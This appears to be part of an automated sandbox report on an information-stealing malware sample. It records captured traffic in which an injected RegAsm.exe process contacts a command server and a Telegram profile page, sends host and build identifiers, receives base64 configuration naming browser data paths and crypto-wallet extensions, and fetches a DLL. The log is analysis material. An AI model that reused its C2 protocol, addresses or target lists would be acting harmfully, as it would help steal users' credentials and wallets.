cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: $td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-09-18 12:31:52 UTC	16384	IN	Data Raw: fe ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-09-18 12:31:52 UTC	16384	IN	Data Raw: 1c 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-09-18 12:31:52 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$
2024-09-18 12:31:54 UTC	16384	IN	DELETE FROM %Q.'%q_docsize' WHERE id=?SELECT sz%s FROM %Q.'%q_docsize' WHERE id=?REPLACE INTO %Q.'%q_config' VALUES(?,?)SELECT %s FROM %s AS T,?,originDROP TABLE IF EXISTS %Q.'%q_data';DROP TABLE IF EXISTS %Q.'%q_idx';DROP TABLE IF EXISTS %Q.'%q_config';DROP TABLE IF EXISTS %Q.'%q_docsize';DROP TABLE IF EXISTS %Q.'%q_content';ALTER TABLE %Q.'%q_%s' RENAME TO '%q_%s';CREATE TABLE %Q.'%q_%q'(%s)%sfts5: error creating shadow table %q_%s: %sid INTEGER PRIMARY KEY, c%did INTEGER PRIMARY KEY, sz BLOBid INTEGER PRIMARY KEY, sz BLOB, origin INTEGERk PRIMARY KEY, vDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';SELECT count() FROM %Q.'%q_%s'tokencharsseparatorsL N* Cocategoriesremove_diacriticscase_sensitiveasciitrigramcolrowinstancefts5vocab: unknown table type: %Q [TRUNCATED] r:Y<\|=>MbP?\|^~?9RF??14????K(??? ?333333?-DT!?@@-DT!@!3\|@@@-DT!@@$@4@>@aTR'>@H@cL@Zd;M@Y@fffff^@r@v@@@p@@@@@@A`&A.A@}<A`FASA TAcApAdyAAeAA _B MB@dB/dB0CW4vCCC [TRUNCATED] i" i"$i"0i"8i"Di"Pi"\i"hi" xi"i"!i"i"i"i"i"i"i"i""i"!!i""!i"9"i"?"D!!i"!i"!i"i"i"i"i"i"i"i"j"j"j"j"j"j"j"j" j",j"8j"Dj"Pj"lj"xj"j"j"j"j" k"Dk"#pk"k" k"k"&l"0l"Dl"Hl"Pl"dl"#l"l"l"l"l"l"%,m"$Xm"%m"+m"m" n""0n"(dn"n"n"n"n"!n"o"0o"Ho"lo"!!9"i"i"D!lj"o"__based(__cdecl__pascal__stdcall__th [TRUNCATED] 9/I?hKd?81UH!G?#$0\|f?KRVnTUUUU?~I$I?gHB;E?q{?x? @ @??@>1\|MCatan2; cC($($($cC($000 cC6@cosUUUUUU?UUUUUU?llV4V>>m0_$@8C`a=`a=@T!?sp.c;`C<??i~@sinh!87Acosh(8UA7Gtanh!87Ay-8C8C0<0<+eGW@+eGW@B.?B.?:;=:;=t?ZfUUU?&WU?{?? [TRUNCATED] !5ACPRSWYlm pr )Y"\"\/"/X"""0"""T"v"""0"x""@"""v"","@"""api-ms-win-core-datetime-l1-1-1api-ms-win-core-file-l1-2-4api-ms-win-core-file-l1-2-2api-ms-win-core-localization-l1-2-1api-ms-win-core-localization-obsolete-l1-2-0api-ms-win-core-processthreads-l1-1-2api-ms-win-core-string-l1-1-0api-ms-win-core-sysinfo-l1-2-1api-ms-win-c [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49851	91.107.146.245	443

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:55 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:55 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 66 36 37 66 66 65 33 39 34 35 36 38 63 34 31 62 61 38 36 37 38 61 38 61 33 31 33 34 64 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="token"e2f67ffe394568c41ba8678a8a3134d6------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------JEBGIIDBKEBFBGCAEBAKCont
2024-09-18 12:31:56 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:56 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49855	149.154.167.99	443	1792	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:57 UTC	143	OUT	GET /edm0d HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache Cookie: stel_ssid=9e01edb38618f1c582_17837654898556210764
2024-09-18 12:31:58 UTC	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Sep 2024 12:31:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12291 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-18 12:31:58 UTC	12291	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 65 64 6d 30 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @edm0d</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49857	91.107.146.245	443	1792	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:59 UTC	234	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:59 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49860	91.107.146.245	443	1792	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:32:01 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:32:01 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 34 35 45 39 32 41 32 46 44 41 35 31 39 31 35 33 33 34 32 33 37 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 32 30 65 39 38 30 31 61 32 31 39 33 65 63 34 34 32 61 63 66 65 39 35 61 32 37 35 36 33 64 34 62 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 2d 2d 0d Data Ascii: ------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="hwid"445E92A2FDA51915334237-a33c7340-61ca------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="build_id"20e9801a2193ec442acfe95a27563d4b------CBKJKJDBFIIDHJKEHJEH--
2024-09-18 12:32:02 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:32:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:32:02 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 66 65 35 35 39 38 64 65 64 64 61 33 65 32 39 63 65 31 62 31 38 32 32 62 66 35 36 61 39 37 38 36 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|fe5598dedda3e29ce1b1822bf56a9786\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49862	91.107.146.245	443	1792	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:32:05 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:32:05 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 35 39 38 64 65 64 64 61 33 65 32 39 63 65 31 62 31 38 32 32 62 66 35 36 61 39 37 38 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 32 30 65 39 38 30 31 61 32 31 39 33 65 63 34 34 32 61 63 66 65 39 35 61 32 37 35 36 33 64 34 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 Data Ascii: ------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="token"fe5598dedda3e29ce1b1822bf56a9786------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="build_id"20e9801a2193ec442acfe95a27563d4b------CGCFIIEBKEGHJJJJJJDACont
2024-09-18 12:32:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:32:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:32:05 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49865	91.107.146.245	443	1792	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:32:06 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:32:06 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 35 39 38 64 65 64 64 61 33 65 32 39 63 65 31 62 31 38 32 32 62 66 35 36 61 39 37 38 36 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 32 30 65 39 38 30 31 61 32 31 39 33 65 63 34 34 32 61 63 66 65 39 35 61 32 37 35 36 33 64 34 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="token"fe5598dedda3e29ce1b1822bf56a9786------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="build_id"20e9801a2193ec442acfe95a27563d4b------IIIECAAKECFHIECBKJDHCont
2024-09-18 12:32:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:32:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:32:07 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49867	91.107.146.245	443

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:32:08 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:32:08 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 35 39 38 64 65 64 64 61 33 65 32 39 63 65 31 62 31 38 32 32 62 66 35 36 61 39 37 38 36 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 32 30 65 39 38 30 31 61 32 31 39 33 65 63 34 34 32 61 63 66 65 39 35 61 32 37 35 36 33 64 34 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="token"fe5598dedda3e29ce1b1822bf56a9786------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="build_id"20e9801a2193ec442acfe95a27563d4b------BGIDBKKKKKFBGDGDHIDBCont
2024-09-18 12:32:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:32:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:32:08 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49870	91.107.146.245	443

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:32:09 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 5549 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:32:09 UTC	5549	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 35 39 38 64 65 64 64 61 33 65 32 39 63 65 31 62 31 38 32 32 62 66 35 36 61 39 37 38 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 32 30 65 39 38 30 31 61 32 31 39 33 65 63 34 34 32 61 63 66 65 39 35 61 32 37 35 36 33 64 34 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 Data Ascii: ------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="token"fe5598dedda3e29ce1b1822bf56a9786------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="build_id"20e9801a2193ec442acfe95a27563d4b------KJDHCAFCGDAAKEBFIJDGCont
2024-09-18 12:32:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:32:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:32:10 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49872	91.107.146.245	443

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:32:10 UTC	242	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Connection: Keep-Alive Cache-Control: no-cache
